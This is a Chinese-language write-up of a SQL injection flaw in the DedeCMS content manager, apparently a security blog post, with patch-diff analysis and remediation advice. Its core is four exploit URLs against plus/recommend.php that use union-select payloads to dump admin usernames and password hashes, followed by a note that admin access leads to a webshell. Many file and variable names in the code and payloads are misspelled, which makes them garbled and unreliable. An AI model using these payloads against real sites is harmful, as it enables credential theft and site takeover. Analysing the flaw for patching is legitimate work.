Dedecms即织梦(PHP开源网站内容管理系统)是目前著名的网站内容管理之一。以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系 统,也是用户最多的PHP类CMS系统。近日,网友在Dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,针对该漏洞,网友们充 分发挥聪明才智,给出了好几个版本,下面对这个漏洞的利用和实战等情况进行讨论和分析,欢迎进行拍砖!
漏洞分析
1)比较漏洞文件
通过其更新文件说明可以看到主要更新的文件如下:dede/coig.php,更新cookies加密密码,禁用标签提示include/uploadfe.inc.php,可能导 致SQL注入漏洞修复member/soft_ed.php,文件上传过滤通过文件分析工具,对早期版本和更新的补丁进行比对,如图1所示,发现修改代码如下:
//*****修补后.php } //$$_key=$_FILES[$_key][tmp_name]=str_replace(\\\\,\\, $_FILES[$_key][tmp_name]); $$_key=$_FILES[$_key][tmp_name]=$_FILES[$_key][tmp_name]; ${$_key._name}=$_FILES[$_key][name]; //*****修补前.PHP } $$_key=$_FILES[$_key][tmp_name]=str_replace(\\\\,\\, $_FILES[$_key][tmp_name]); //吧$_FILES[$_key][tmp_name]里面的\\\\替换为\\ ${$_key._name}=$_FILES[$_key][name];
图1对比分析代码
2)漏洞利用分析
str_replace替换是本次出现SQL注入的关键,但是$_FIES[$_key][tp_ne]是PHP系统生成的随机变量,默认不可控。结 合“include/coon.inc.php”文件中的代码,只要变量名不含cfg_|GLOBS|_GET|_PST|_COKIE就可以,利用上面的代码可以覆盖$_FILES,同时利 用代码:$$_key=$_FILES[$_ky][mp_name]=str_replace(\\\\,\\,$_FILES[$_key][tmp_name]);。
3)漏洞利用代码
可利用代码1:
plus/recommend.php?action=aid=1_FILES[type][tmp_name]=\ /*!50000union*//*!50000select*/1,2,3,(select ormid=@`\` CONCT(0x7c,uerid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\`+_FILES[type][name]=1.jpg_FILES[type][type]=application/octet-s tream_FILES[type][size]=6873 可利用代码2: pls/recommed.php?aid=1_FIES[type][name]_FILES[type][size]_FILES[type][type]_ FILES[type][tmp_name]=aa\and+char(@``)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_c oncat(userid,0x23,pwd),5,6,7,8,9from`%23@__admin`%23 可利用代码3: plus/recmmend.php?acion=aid=1_FILES[type][tmp_ame]=\\%27%0or%20mid=@`\\ %27`%20/*!50000unin*//*!50000slect*/1,2,3,(selet%20CONCAT(0x7c,userid,0x7c,pwd)+from +`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+_FILES[type][name]=1.jpg_FILES[type ][type]=application/octet-stream_ILES[type][size]=4294 可利用代码4: plus/recomme.php?action=aid=1_FILES[type][tmp_name]=\ ormid=@`\`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,usid,0x7c,pwd)+from+`%23@__dmin` limit+0,1),5,6,7,8,9%23@`\`+_FILES[type][nme]=1.jpg_FILES[type] [type]=application/octet-steam_FILES[type][size]=111
网上还有人根据漏洞利用方式开发出来一款漏洞利用工具,将网站地址输入利用工具,即可以获取管理员的密码,实际使用效果如图2所示。该工 具仅仅对漏洞中的一种情况进行了利用,对某些实际存在的漏洞无法利用,且只能获取一个账号信息。
图2DedeCMsSQL注入漏洞利用工具
4)利用方式探讨
对于DedeCMS而言,只要获取了最高管理员权限,通过文件管理器,可以快捷方便的获取Webshell,也即通过新建文件,或者编辑PHP文件均可获取 webshell。但DedeCMS在安装时默认后台管理地址为,实际安装过程出于安全考虑,一般都会修改默认后台,因此即使获取了管理员密码也可能无法获 取网站权限。
实际漏洞利用
5)漏洞修复方法探讨
关于漏洞修复,笔者认为有以下几个方法:
①升级程序到最新版本。下载最新补丁进行更新是最快捷的方法。
②隐藏后台登陆地址,对后台地址进行变异性更改,例如“decms_2013_tx_fx_x”,目地是无法通过猜测和扫描获取。
③设置搞强度密码,将最高权限管理员密码设置为15位(大小写字母+数字+特殊字符)以上,增加破解难度。
④加入免费安全防范软件,例如在网站加入安全宝、360安全防护、安全狗等。
⑤定期关注安全站点漏洞信息,定期对站点进行维护和检查。
(完)
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。